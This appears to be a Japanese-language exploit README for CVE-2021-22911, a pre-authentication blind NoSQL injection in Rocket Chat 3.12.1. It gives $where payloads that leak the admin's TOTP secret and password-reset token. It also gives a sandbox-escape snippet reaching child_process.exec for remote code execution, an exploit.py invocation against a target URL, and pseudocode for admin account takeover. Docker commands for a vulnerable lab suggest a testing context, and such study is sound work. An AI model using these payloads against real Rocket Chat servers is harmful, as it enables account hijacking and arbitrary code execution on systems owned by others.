
CVE-2021-22911のエクスプロイト: Rocket Chat 3.12.1における認証前のブラインドNoSQLインジェクション。Webhookスクリプティングを介してアカウント乗っ取りとリモートコード実行を可能にする。
Rocket Chat 3.12.1 における認証前のブラインド NoSQL インジェクションによるリモートコード実行
{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
注意: 管理者を 2FA で保護したくない場合は、次の手順を実行できます。
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)